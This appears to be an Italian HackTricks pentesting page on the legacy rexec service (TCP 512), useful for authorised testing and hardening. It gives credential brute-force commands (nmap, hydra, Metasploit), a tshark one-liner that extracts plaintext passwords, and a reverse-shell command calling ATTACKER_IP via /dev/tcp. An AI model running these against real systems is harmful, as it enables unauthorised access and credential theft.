# 512 - Pentesting Rexec {{#include ../banners/hacktricks-training.md}} ## Informazioni di Base Rexec (remote **exec**) è uno dei servizi originali della suite Berkeley *r* (insieme a `rlogin`, `rsh`, …). Fornisce una capacità di **esecuzione di comandi remoti** **autenticata solo con un nome utente e una password in chiaro**. Il protocollo è stato definito all'inizio degli anni '80 (vedi RFC 1060) ed è oggi considerato **insicuro per design**. Tuttavia, è ancora abilitato per impostazione predefinita in alcune attrezzature UNIX legacy / collegate in rete e appare occasionalmente durante i pentest interni. **Porta Predefinita:** TCP 512 (`exec`) ``` PORT STATE SERVICE 512/tcp open exec ``` > 🔥 Tutto il traffico – comprese le credenziali – viene trasmesso **non crittografato**. Chiunque abbia la possibilità di sniffare la rete può recuperare il nome utente, la password e il comando. ### Panoramica rapida del protocollo 1. Il client si connette a TCP 512. 2. Il client invia tre stringhe **terminate da NUL**: * il numero di porta (in ASCII) dove desidera ricevere stdout/stderr (spesso `0`), * il **nome utente**, * la **password**. 3. Viene inviata una stringa finale terminata da NUL con il **comando** da eseguire. 4. Il server risponde con un singolo byte di stato a 8 bit (0 = successo, `1` = fallimento) seguito dall'output del comando. Ciò significa che puoi riprodurre lo scambio con nient'altro che `echo -e` e `nc`: ```bash (echo -ne "0\0user\0password\0id\0"; cat) | nc 512 ``` Se le credenziali sono valide, riceverai l'output di `id` direttamente sulla stessa connessione. ### Utilizzo manuale con il client Molte distribuzioni Linux continuano a includere il client legacy all'interno del pacchetto **inetutils-rexec** / **rsh-client**: ```bash rexec -l user -p password "uname -a" ``` Se `-p` è omesso, il client chiederà interattivamente la password (visibile sulla rete in chiaro!). --- ## Enumerazione & Brute-forcing ### [**Brute-force**](../generic-hacking/brute-force.md#rexec) ### Nmap ```bash nmap -p 512 --script rexec-info # Discover service banner and test for stdout port mis-configuration nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" ``` Il `rexec-brute` NSE utilizza il protocollo descritto sopra per provare le credenziali molto rapidamente. ### Hydra / Medusa / Ncrack ```bash hydra -L users.txt -P passwords.txt rexec:// -s 512 -t 8 ``` `hydra` ha un modulo **rexec** dedicato ed è il bruteforcer offline più veloce. `medusa` (`-M REXEC`) e `ncrack` (modulo `rexec`) possono essere utilizzati allo stesso modo. ### Metasploit ``` use auxiliary/scanner/rservices/rexec_login set RHOSTS set USER_FILE users.txt set PASS_FILE passwords.txt run ``` Il modulo genererà una shell al successo e memorizzerà le credenziali nel database. --- ## Sniffing delle credenziali Poiché tutto è in chiaro, **le catture di rete sono inestimabili**. Con una copia del traffico puoi estrarre le credenziali senza toccare il bersaglio: ```bash tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \ awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command ``` (In Wireshark abilita *Decode As …​* TCP 512 → REXEC per visualizzare i campi ben analizzati.) --- ## Suggerimenti post-sfruttamento * I comandi vengono eseguiti con i privilegi dell'utente fornito. Se `/etc/pam.d/rexec` è configurato in modo errato (ad es. `pam_rootok`), a volte sono possibili shell di root. * Rexec ignora la shell dell'utente ed esegue il comando tramite `/bin/sh -c `. Puoi quindi utilizzare trucchi tipici di escape della shell (`;`, ``$( )``, backticks) per concatenare più comandi o generare shell inverse: ```bash rexec -l user -p pass 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' ``` * Le password sono spesso memorizzate in **~/.netrc** su altri sistemi; se comprometti un host, puoi riutilizzarle per il movimento laterale. --- ## Indurimento / Rilevamento * **Non esporre rexec**; sostituiscilo con SSH. Praticamente tutti i moderni *inetd* superserver commentano il servizio per impostazione predefinita. * Se devi mantenerlo, limita l'accesso con TCP wrappers (`/etc/hosts.allow`) o regole del firewall e applica password forti per ogni account. * Monitora il traffico verso :512 e per i lanci del processo `rexecd`. Una singola cattura di pacchetti è sufficiente per rilevare una compromissione. * Disabilita `rexec`, `rlogin`, `rsh` insieme – condividono gran parte dello stesso codice e delle vulnerabilità. --- ## Riferimenti * Documentazione Nmap NSE `rexec-brute` – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html) * Modulo Metasploit di Rapid7 `auxiliary/scanner/rservices/rexec_login` – [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login) {{#include ../banners/hacktricks-training.md}}